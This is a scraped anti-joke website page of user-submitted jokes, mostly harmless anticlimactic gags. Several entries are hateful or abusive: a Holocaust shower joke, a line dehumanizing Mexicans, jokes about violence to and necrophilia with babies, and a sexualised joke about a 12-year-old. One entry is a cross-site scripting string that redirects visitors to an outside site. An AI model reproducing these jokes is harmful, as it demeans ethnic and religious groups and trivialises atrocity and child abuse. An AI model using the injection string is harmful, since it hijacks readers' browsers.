A teenage girl walks into a bar. She sits down and watches the TV up against the wall. The bartender walks by and says "Hello, do you have I.D." The girl says "No, I'm just here waiting for my ride." The bartender then says "Well I'm sorry to have to tell you this but you gotta be 21 or over to sit in the bar." The girl says "Okay, but is there anywhere I can wait that is safe?" The bartender asks "Why?" and the girl replies "Well, I've been hiding from my ex boyfriend. I just broke up with him an hour ago. He was very controlling and he is still not over me. So now I'm here waiting for my new boyfriend." The bartender says "What you have a new boyfriend already? Maybe that's why your ex was angry." The girl says "yeah, I know, oh look there's my ride. It was nice talking with you, have a good night."

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What's the hardest part of walking through a pile of dead babies? My penis.

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A horse walks into a Bakery and asks "Do you have any wheat bread?", and the Baker replies "No, we only have white bread." So the horse says: "Thats okay, I rode my bike today."

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Q: How many babies does it take to paint a wall? A: It depends on how hard you throw them.

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Why didn't the skeleton go to the party? ...Because he was buried in a churchyard.

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Why did the chicken cross the road? Because chicken brains are not as large or developed as human brains, therefore preventing the chicken from making a logical decision, leading to it crossing a road with heavy traffic and eventually being run over by a semi.

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Why did the Jews go into the shower? Because they had just finish a basketball game and they needed to freshen up.

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Ask me if I'm well Are you well? No

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What is the difference between a person of Mexican heritage and a park bench? One is a bench, the other is a human being.

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Why couldn't the man sleep? Because he was a wax model in a museum, and as we all know wax models are inanimate objects thus incapable of consciousness and therefore incapable of unconsciousness as well. Many other inanimate objects are caught up in similar problems relating to their incapability to do anything.

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Billy: Why do pirates say rrrrr? Mark: I don't know, I'm not a pirate.

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What's brown and sits in the woods? Winnie's poo

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A bar walking into a mans house, then the blonde says stupid words like why did the chicken of the sea cross the road and pigeons go moo moo like a cow.

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Why did Susie fall off the swing? She had no arms. Knock knock Who's there? Not Susie!

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I cant believe they been together after all that shit. (person ask what) and you say your buttchheeeeks:]

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Yo momma is so fat that she is in the guinness records

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Q: Whats a spanish teacher who cant speak spanish A: duhh. it called an english teacher

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What did the 12 year old boy get for Christmas? Herpes

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So this squirrel is walking across the road when a HUGE truck comes and smashes him beneath the tire.

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A mother and her child run into the store... The mother opens the door, so the child does not run into the store again.

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Who always participates in "No shave November"? The homeless.

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why did Lucy fall down? she got hit with a hammer

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Jesus walks into a hotel, slams four nails down on the counter, and says, "Put me up for the night!" The concierge looks at him and says, "You're not Jesus. Jesus was brutally murdered approximately 1,970 years ago. And although I may not be a believer, his teachings have brought comfort and solace to millions of people around the world. Nor do we accept nails as payment. Please remove yourself from the premises or I will call security."

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"'>document.location.href="http://cramik.org"

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

Anti-Joke Triceratops